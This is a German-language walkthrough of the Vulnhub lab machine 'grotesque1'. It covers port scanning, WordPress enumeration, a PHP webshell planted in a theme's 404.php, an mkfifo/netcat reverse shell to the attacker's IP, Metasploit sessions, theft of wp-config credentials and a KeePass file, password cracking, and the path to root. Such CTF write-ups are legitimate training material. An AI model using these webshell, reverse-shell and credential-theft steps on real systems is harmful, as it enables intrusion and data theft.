grotesque1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
curl
unzip
cat
sort
uniq
vi
md5sum
nc
msfconsole
keepass2john
john
find

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.118 08:00:27:9c:83:dc PCS Systemtechnik GmbH
Wir verwenden arp-scan -l, um alle Geräte im lokalen Netzwerk zu identifizieren. Dies hilft uns, die IP-Adresse des Zielsystems (192.168.2.118) und den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH) zu ermitteln. Diese Information ist nützlich für die weitere Analyse und Zielfindung.
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.118 grotesqu.vln
Wir fügen die IP-Adresse des Zielsystems (192.168.2.118) und den Hostnamen (grotesqu.vln) zur /etc/hosts-Datei hinzu. Dadurch können wir das Zielsystem später einfach über den Hostnamen ansprechen, anstatt die IP-Adresse verwenden zu müssen. Dies erleichtert die Lesbarkeit und Wartbarkeit der Befehle.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.118 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 22:27 CET
Nmap scan report for grotesqu.vln (192.168.2.118)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
66/tcp open  http    WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15))
|_http-server-header: WEBrick/1.4.2 (Ruby/2.5.5/2019-03-15)
|_http-title:                         vvmlist        
80/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 404 Not Found
MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 127.0.1.1

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms grotesqu.vln (192.168.2.118)
Wir führen einen umfassenden Nmap-Scan mit den folgenden Optionen durch:
  • -sS: TCP-SYN-Scan (Stealth-Scan)
  • -sV: Service-Version-Erkennung
  • -A: Aggressiver Scan (enthält OS-Erkennung, Version-Erkennung, Script-Scanning und Traceroute)
  • -T5: Schnellste Scan-Vorlage
  • -p-: Scan aller 65535 Ports
Der Scan zeigt, dass Port 66 und Port 80 offen sind. Auf Port 66 läuft ein WEBrick httpd 1.4.2 (Ruby 2.5.5), und auf Port 80 läuft ein Apache httpd 2.4.38 (Debian). Wir erhalten außerdem Informationen über das Betriebssystem (Linux 4.X|5.X) und die MAC-Adresse des Zielsystems.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.118 -p- | grep open
66/tcp open http WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15)) 80/tcp open http Apache httpd 2.4.38
Wir filtern die Nmap-Ausgabe nach offenen Ports mit dem Befehl grep open. Dies bestätigt, dass Port 66 und Port 80 offen sind und HTTP-Dienste anbieten. Diese Information ist entscheidend für die weitere Analyse der Webanwendungen, die auf diesen Ports laufen.

Web Enumeration

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.118
- Nikto v2.5.0

+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2024-01-31 22:27:39 (GMT+0100)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8101 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-01-31 22:27:54 (GMT+0100) (15 seconds)

+ 1 host(s) tested
Wir verwenden Nikto, einen Webserver-Scanner, um Sicherheitslücken auf Port 80 zu identifizieren. Nikto meldet das Fehlen von Sicherheitsheadern wie X-Frame-Options und X-Content-Type-Options, die potenziell für Clickjacking- und MIME-Sniffing-Angriffe ausgenutzt werden könnten. Außerdem wird festgestellt, dass die verwendete Apache-Version veraltet ist, was auf bekannte Sicherheitslücken hinweisen kann.
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://grotesqu.vln:66 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://grotesqu.vln/javascript           (Status: 301) [Size: 317] [--> http://grotesqu.vln/javascript/]
http://grotesqu.vln:66/index                (Status: 200) [Size: 1060253]
http://grotesqu.vln:66/index.html           (Status: 200) [Size: 1060253]
http://grotesqu.vln:66/assets               (Status: 301) [Size: 46] [--> http://grotesqu.vln:66/assets/]
http://grotesqu.vln:66/license.txt          (Status: 200) [Size: 35149]
http://grotesqu.vln:66/changelog.txt        (Status: 200) [Size: 1694]
http://grotesqu.vln:66/LICENSE              (Status: 200) [Size: 35149]
http://grotesqu.vln:66/functions            (Status: 301) [Size: 52] [--> http://grotesqu.vln:66/functions/]
Wir verwenden Gobuster, um das Webverzeichnis auf Port 66 zu durchsuchen. Wir verwenden eine mittlere Wortliste (directory-list-2.3-medium.txt) und suchen nach verschiedenen Dateierweiterungen. Die Ergebnisse zeigen interessante Dateien wie license.txt und changelog.txt, sowie Verzeichnisse wie assets und functions, die wir uns später genauer ansehen könnten.
┌──(root㉿cyber)-[~]
└─# curl -v -X OPTIONS 192.168.2.118
*   Trying 192.168.2.118:80...
* Connected to 192.168.2.118 (192.168.2.118) port 80
> OPTIONS / HTTP/1.1
> Host: 192.168.2.118
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Wed, 31 Jan 2024 21:27:50 GMT
< Server: Apache/2.4.38 (Debian)
< Allow: OPTIONS, HEAD, GET, POST
< Content-Length: 0
< Content-Type: httpd/unix-directory
< 
* Connection #0 to host 192.168.2.118 left intact
Wir verwenden curl -v -X OPTIONS 192.168.2.118, um die erlaubten HTTP-Methoden auf dem Webserver abzufragen. Die Ausgabe zeigt, dass die Methoden OPTIONS, HEAD, GET und POST erlaubt sind. Dies ist eine Standardkonfiguration, aber es ist wichtig, dies zu überprüfen, um potenzielle Schwachstellen im Zusammenhang mit nicht standardmäßigen oder unerwarteten Methoden zu identifizieren.

Initial Access

┌──(root㉿cyber)-[~]
└─# unzip /home/cyber/Downloads/vvmlist.zip
Archive:  /home/cyber/Downloads/vvmlist.zip
   creating: vvmlist.github.io/
 extracting: vvmlist.github.io/.gitattributes  
 extracting: vvmlist.github.io/.gitignore  
 extracting: vvmlist.github.io/.travis.yml  
 extracting: vvmlist.github.io/.yamllint  
   creating: vvmlist.github.io/assets/
 extracting: vvmlist.github.io/assets/logo.png
Wir entpacken die heruntergeladene Datei `vvmlist.zip`. Dies könnte möglicherweise interessante Informationen enthalten, die uns bei der weiteren Untersuchung helfen könnten.
┌──(root㉿cyber)-[/home/cyber/Downloads/vvm/vvmlist.github.io]
└─# ll
insgesamt 224
drwxr-xr-x 2 root root  4096 18. Jan 2021  assets
-rw-r--r-- 1 root root  1694 16. Jan 2021  changelog.txt
-rw-r--r-- 1 root root   237 16. Jan 2021  _config.yml
drwxr-xr-x 2 root root  4096 16. Jan 2021  _data
-rw-r--r-- 1 root root   142 16. Jan 2021  functions.md
-rw-r--r-- 1 root root    44 16. Jan 2021  Gemfile
-rw-r--r-- 1 root root  1540 16. Jan 2021  Gemfile.lock
drwxr-xr-x 2 root root  4096 16. Jan 2021  _includes
-rw-r--r-- 1 root root   113 18. Jan 2021  index.md
drwxr-xr-x 2 root root  4096 16. Jan 2021  _layouts
-rw-r--r-- 1 root root 35149 16. Jan 2021  LICENSE
-rw-r--r-- 1 root root 35149 16. Jan 2021  license.txt
-rw-r--r-- 1 root root   185 16. Jan 2021  Makefile
drwxr-xr-x 2 root root  4096 16. Jan 2021  scripts
-rw-r--r-- 1 root root 92180 18. Jan 2021  sshpasswd.png
drwxr-xr-x 2 root root 12288 18. Jan 2021  _vvmlist
Wir listen den Inhalt des entpackten Verzeichnisses auf. Die Ausgabe zeigt verschiedene Dateien und Verzeichnisse, darunter Konfigurationsdateien (_config.yml), Markdown-Dateien (index.md, functions.md), Lizenzdateien (LICENSE, license.txt) und ein Verzeichnis namens _vvmlist.
┌──(root㉿cyber)-[/home/cyber/Downloads/vvm/vvmlist.github.io]
└─# cat _vvmlist/* | sort | uniq
  dns:
  docker:
  driftingblues3:
  dropzone:
  e:
  enterprise:
  "escalate_linux 1":
  europa:
  finger:
  fluxcapacitor:
  forest:
  forwardslash:
  for wordpress, it's on port 80/lyricsblog:
Wir kombinieren den Inhalt aller Dateien im Verzeichnis _vvmlist, sortieren ihn und entfernen doppelte Zeilen. Die Ausgabe scheint eine Liste von VM-Namen oder Projektnamen zu sein. Der Eintrag "for wordpress, it's on port 80/lyricsblog:" ist besonders interessant, da er auf eine WordPress-Installation unter /lyricsblog auf Port 80 hinweist.
Basierend auf den vorherigen Ergebnissen untersuchen wir die WordPress-Installation unter http://grotesqu.vln/lyricsblog/. Wir versuchen, Informationen über Benutzer zu erhalten, indem wir die WordPress REST API nutzen.
{"id":1,"name":"erdalkomurcu",
"url":"http://192.168.2.24/lyricsblog",
"description":"",
"link":"http://grotesqu.vln/lyricsblog/index.php/author/erdalkomurcu\
Wir greifen auf die WordPress REST API zu, um Informationen über den Benutzer mit der ID 1 abzurufen. Die Ausgabe zeigt den Benutzernamen erdalkomurcu. Dieser Benutzername könnte für Brute-Force-Angriffe oder andere Exploits verwendet werden.
Error: The password you entered for the username erdalkomurcu is incorrect. also check your line endings ;) Lost your password?
Wir versuchen, uns mit dem Benutzernamen "erdalkomurcu" anzumelden, erhalten aber eine Fehlermeldung. Dies bestätigt, dass der Benutzername gültig ist, aber wir das Passwort noch nicht kennen.
Wir besuchen einen Blog-Beitrag auf der WordPress-Seite. Dies dient dazu, die Funktionalität der Seite zu überprüfen und potenzielle Schwachstellen zu identifizieren.
┌──(root㉿cyber)-[~]
└─# vi grotesque.txt
Wir erstellen eine neue Datei "grotesque.txt" mit dem Editor "vi".
┌──(root㉿cyber)-[~]
└─# cat grotesque.txt
Çaresiz derdimin sebebi belli
Dermanı yaramda arama doktor
Şifa bulmaz gönlüm senin elinden
Boşuna benimle uğraşma doktor

Aşk yarasıdır bu ilaç kapatmaz
Derdin teselli beni avutmaz
Dermanı yardadır sende bulunmaz
Boşuna benimle uğraşma doktor
Dokunma benim gönül yarama
Dokunma doktor

Bedenimde değil kalbimde derdim
Tek alışkanlığım bir zalim sevdim
Sen çekil yanımdan sevdiğim gelsin
Boşuna zamanı harcama doktor
Wir geben den Inhalt der Datei "grotesque.txt" aus. Dies ist wahrscheinlich ein Zitat oder ein Textausschnitt, der später verwendet wird.
┌──(root㉿cyber)-[~]
└─# cat grotesque.txt -n
     1	Çaresiz derdimin sebebi belli
     2	Dermanı yaramda arama doktor
     3	Şifa bulmaz gönlüm senin elinden
     4	Boşuna benimle uğraşma doktor
     5	
     6	Aşk yarasıdır bu ilaç kapatmaz
     7	Derdin teselli beni avutmaz
     8	Dermanı yardadır sende bulunmaz
     9	Boşuna benimle uğraşma doktor
    10	Dokunma benim gönül yarama
    11	Dokunma doktor
    12	
    13	Bedenimde değil kalbimde derdim
    14	Tek alışkanlığım bir zalim sevdim
    15	Sen çekil yanımdan sevdiğim gelsin
    16	Boşuna zamanı harcama doktor
Wir geben den Inhalt der Datei "grotesque.txt" mit Zeilennummern aus. Dies kann hilfreich sein, um den Text später zu referenzieren oder zu bearbeiten.
┌──(root㉿cyber)-[~]
└─# md5sum grotesque.txt
bc78c6ab38e114d6135409e44f7cdda2 grotesque.txt
Wir berechnen die MD5-Prüfsumme der Datei "grotesque.txt". Dies kann verwendet werden, um die Integrität der Datei zu überprüfen oder um sie mit anderen Hashes zu vergleichen.
string="Hello, World!"
lowercase_string="${string,,}"
echo "$lowercase_string"
 password
 should
 be
 uppercase
                    
Ein Hinweis deutet darauf hin, dass das Passwort in Großbuchstaben sein sollte.
bc78c6ab38e114d6135409e44f7cdda2
BC78C6AB38E114D6135409E44F7CDDA2
Wir wandeln die MD5-Prüfsumme der Datei "grotesque.txt" in Großbuchstaben um. Basierend auf den vorherigen Hinweisen wird vermutet, dass dies das Passwort sein könnte.
Twenty Fifteen: 404 Template (404.php)
 

Select theme to edit:

Theme Files

 

Selected file content:
 
system($_GET['cmd']);
                   
Wir bearbeiten das 404-Template des WordPress-Themes "Twenty Fifteen" und fügen Code hinzu, der es uns ermöglicht, beliebige Befehle über die URL auszuführen. Dies stellt eine erhebliche Sicherheitslücke dar, da wir nun beliebigen Code auf dem Server ausführen können.
File edited successfully.
404.php
archive.php
author-bio.php
comments.php
content-link.php
content-none.php
content-page.php
content-search.php
content.php
css
footer.php
functions.php
genericons
header.php
image.php
inc
index.php
js
page.php
readme.txt
rtl.css
screenshot.png
search.php
sidebar.php
single.php
style.css
                    
Wir testen die hinzugefügte Funktionalität, indem wir den Befehl ls über die URL ausführen. Die Ausgabe zeigt den Inhalt des Theme-Verzeichnisses, was bestätigt, dass wir erfolgreich Code auf dem Server ausführen können.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
Wir starten Netcat im Listenmodus auf Port 4444, um eine Reverse-Shell zu empfangen.
Wir erstellen eine Reverse-Shell-Payload, die über die manipulierte 404.php-Datei ausgeführt wird. Diese Payload öffnet eine Verbindung zu unserem Kali-System auf Port 4444 und ermöglicht uns den Zugriff auf eine Shell auf dem Zielsystem.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.118] 34408
bash: cannot set terminal process group (524): Inappropriate ioctl for device
bash: no job control in this shell
www-data@grotesque:/var/www/html/lyricsblog/wp-content/themes/twentyfifteen$
Wir erhalten eine Reverse-Shell als Benutzer www-data. Dies bestätigt, dass wir erfolgreich initialen Zugriff auf das System erlangt haben.
www-data@grotesque:/var/www$ cat html/lyricsblog/wp-config.php
define( 'DB_NAME', 'wordpress_db' );

/ MySQL database username  
define( 'DB_USER', 'raphael' );

/ MySQL database password  
define( 'DB_PASSWRD', '_double_trouble_' );

/ MySQL hostname */
define( 'DB_HST', 'localhost' );
                    
Wir lesen die wp-config.php-Datei, um die Datenbankanmeldeinformationen zu erhalten. Wir finden den Benutzernamen raphael und das Passwort _double_trouble_. Diese Anmeldeinformationen könnten verwendet werden, um auf die Datenbank zuzugreifen oder sich als Benutzer raphael anzumelden.
www-data@grotesque:/var/www$ ls /home/
raphael
Wir listen den Inhalt des /home/-Verzeichnisses auf und finden das Home-Verzeichnis des Benutzers raphael.
www-data@grotesque:/var/www$ su raphael
~
Password: _double_trouble_
raphael@grotesque:/var/www$
raphael@grotesque:/var/www$ cd ~
raphael@grotesque$ ls
user.txt vvmlist.github.io
Wir wechseln mit dem Passwort _double_trouble_ zum Benutzer raphael. Anschließend listen wir den Inhalt des Home-Verzeichnisses auf und finden die Datei user.txt.
raphael@grotesque$ cat user.txt
F6ACB21652E095630BB1BEBD1E587FE7
Wir lesen den Inhalt der Datei user.txt und erhalten die User-Flag: F6ACB21652E095630BB1BEBD1E587FE7.
raphael@grotesque$ cp .kdbx /tmp/chat.kdbx
Wir kopieren die Datei .kdbx (vermutlich eine KeePass-Datenbankdatei) nach /tmp/chat.kdbx. Das Kopieren in das /tmp-Verzeichnis ermöglicht uns, die Datei später herunterzuladen.
raphael@grotesque$ cd /tmp/
raphael@grotesque:/tmp$ ls
chat.kdbx
Wir wechseln in das /tmp-Verzeichnis und überprüfen, ob die Datei chat.kdbx erfolgreich kopiert wurde.
┌──(root㉿cyber)-[~]
└─# nc -lv 5554 > chat.kdbx
5554: inverse host lookup failed: Unknown host
listening on [any] 40053 ...
Auf unserem Kali-System starten wir Netcat im Listenmodus auf Port 5554 und leiten die eingehenden Daten in die Datei chat.kdbx um. Dies dient dazu, die KeePass-Datenbankdatei vom Zielsystem herunterzuladen.
raphael@grotesque:/tmp$ nc chat.kdbx < 192.168.2.199 5554
bash: 192.168.2.199: No such file or directory
Auf dem Zielsystem versuchen wir, die Datei chat.kdbx über Netcat an unser Kali-System zu senden. Der Befehl schlägt jedoch fehl, da Netcat die IP-Adresse als Datei interpretiert.
raphael@grotesque:/tmp$ nc -N 192.168.2.199 5554 < chat.kdbx
nc: invalid option -- 'N'
nc -h for help
Wir versuchen es erneut, aber diesmal mit der Option -N. Der Befehl schlägt jedoch erneut fehl, da die Option -N ungültig ist.
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > set lhost eth0
msf6 exploit(multi/handler) > run
[*] Using configured payload generic/shell_reverse_tcp
lport => 5555
lhost => eth0
                    
[*] Started reverse TCP handler on 192.168.2.199:5555
Wir starten Metasploit und konfigurieren einen Handler, um eine Reverse-Shell zu empfangen. Wir setzen den Payload auf generic/shell_reverse_tcp, den lokalen Port auf 5555 und die lokale Host-Adresse auf eth0. Anschließend starten wir den Handler.
raphael@grotesque:/tmp$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
Wir verwenden einen Standard-Reverse-Shell-Befehl, um eine interaktive Shell über Netcat zu erstellen. Der Befehl versucht, eine Pipe zu erstellen, die Shell-Eingabe und -Ausgabe umleitet. Die Fehlermeldung deutet darauf hin, dass die Pipe bereits existiert oder nicht erstellt werden konnte.
[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.118:45234) at 2024-01-31 23:47:44 +0100
Shell Banner:
$
--
$
Wir erhalten eine Command-Shell-Session über Metasploit. Dies bestätigt, dass wir erfolgreich eine Reverse-Shell auf dem Zielsystem etabliert haben.

Privilege Escalation

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 5552
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
msf6 post(multi/manage/shell_to_meterpreter) > run
lport => 5552
session => 1
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:5552 
[*] Sending stage (1017704 bytes) to 192.168.2.118
[*] Meterpreter session 2 opened (192.168.2.199:5552 -> 192.168.2.118:59188) at 2024-01-31 23:48:45 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
Wir verwenden das Metasploit-Modul multi/manage/shell_to_meterpreter, um die bestehende Shell-Session in eine Meterpreter-Session zu konvertieren. Meterpreter bietet erweiterte Funktionen wie Dateitransfer, Speicheranalyse und Privilege Escalation. Wir setzen den lokalen Port auf 5552 und die Session-ID auf 1 und führen das Modul aus.
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
Wir interagieren mit der neu erstellten Meterpreter-Session (ID 2).
meterpreter > download /tmp/chat.kdbx /root/
[*] Downloading: /tmp/chat.kdbx -> /root/chat.kdbx
[*] Downloaded 2.12 KiB of 2.12 KiB (100.0%): /tmp/chat.kdbx -> /root/chat.kdbx
[*] Completed  : /tmp/chat.kdbx -> /root/chat.kdbx
Wir laden die KeePass-Datenbankdatei chat.kdbx vom Zielsystem auf unser Kali-System herunter. Die Verwendung von Meterpreter für den Dateitransfer ist zuverlässiger als die vorherigen Versuche mit Netcat.
┌──(root㉿cyber)-[~]
└─# mv chat.kdbx /media/sf_15._keypasscracking
Wir verschieben die heruntergeladene KeePass-Datenbankdatei in ein Verzeichnis für KeePass-Cracking.
Privilege Escalation
Wir beginnen mit der Privilege Escalation, um Root-Rechte zu erlangen.
┌──(root㉿cyber)-[~]
└─# keepass2john chat.kdbx > flag
Wir verwenden keepass2john, um die KeePass-Datenbankdatei chat.kdbx in ein Format zu konvertieren, das von John the Ripper verarbeitet werden kann. Das Ergebnis wird in der Datei flag gespeichert.
┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt flag
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

chatter          (chat)     

1g 0:00:00:00 DNE (2024-02-01 00:05) 11.11g/s 711.1p/s 711.1c/s 711.1C/s s13!34g$3FVA5e@ed..carlos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Wir verwenden John the Ripper, um das Passwort der KeePass-Datenbankdatei zu knacken. Wir verwenden die rockyou.txt-Wortliste, eine der am häufigsten verwendeten Passwortlisten. John the Ripper findet das Passwort chatter.
meterpreter > shell
Process 21727 created.
Channel 3 created.
Wir öffnen eine Shell über die Meterpreter-Session.
id
uid=1000(raphael) gid=1000(raphael) groups=1000(raphael)
Wir überprüfen die aktuelle Benutzer-ID und stellen fest, dass wir als Benutzer raphael angemeldet sind.
find / -type f -perm -4000 -ls 2>/dev/null
    25269    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
    21909     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    16365     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
       81     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     4028     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
       76     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
     4030     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
     3547     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
     3694     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
       79     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
       77     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
Wir suchen nach Dateien mit dem SUID-Bit gesetzt. Diese Dateien werden mit den Rechten des Eigentümers ausgeführt, was potenziell zur Privilege Escalation genutzt werden kann. Die Ausgabe zeigt mehrere SUID-Dateien, die wir weiter untersuchen könnten.
msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules


   #  Name                                      Disclosure Date  Rank    Check  Description
   -  -                                        -    --  --
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
Wir verwenden das Metasploit-Modul local_exploit_suggester, um potenzielle Exploits für Privilege Escalation zu finden. Dieses Modul analysiert das System und schlägt passende Exploits vor.
msf6 post(multi/recon/local_exploit_suggester) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 2
msf6 post(multi/recon/local_exploit_suggester) > run
session => 2
[*] 192.168.2.118 - Collecting local exploits for x86/linux...
Wir verwenden das Modul post/multi/recon/local_exploit_suggester mit der Session-ID 2. Das Modul sammelt Informationen über das System und sucht nach passenden Exploits.
keepass 4 Einträge
secretservice
.:.yarak.:.
.:.subjective.:.
rockyou.txt
Die KeePass-Datenbank enthält vier Einträge. Wir werden die Passwörter aus diesen Einträgen ausprobieren, um Root-Rechte zu erlangen.
su root
Password: .:.subjective.:.
id
uid=0(root) gid=0(root) groups=0(root)
Wir versuchen, mit dem Passwort .:.subjective.:. zum Benutzer root zu wechseln. Der Befehl ist erfolgreich, und wir sind jetzt als root angemeldet. Fantastisch der root zugriff war erfolgreit nun haben wie unser Ziel erreicht!
cd ~
ls
logdel2
root.txt
vvmlist.sh
Wir wechseln in das Home-Verzeichnis von root und listen den Inhalt auf. Wir finden die Datei root.txt, die wahrscheinlich die Root-Flag enthält.
cat root.txt
AF7DD472654CBBCF87D3D7F509CB9862
Wir lesen den Inhalt der Datei root.txt und erhalten die Root-Flag: AF7DD472654CBBCF87D3D7F509CB9862.

Flags

cat user.txt
F6ACB21652E095630BB1BEBD1E587FE7
cat root.txt
AF7DD472654CBBCF87D3D7F509CB9862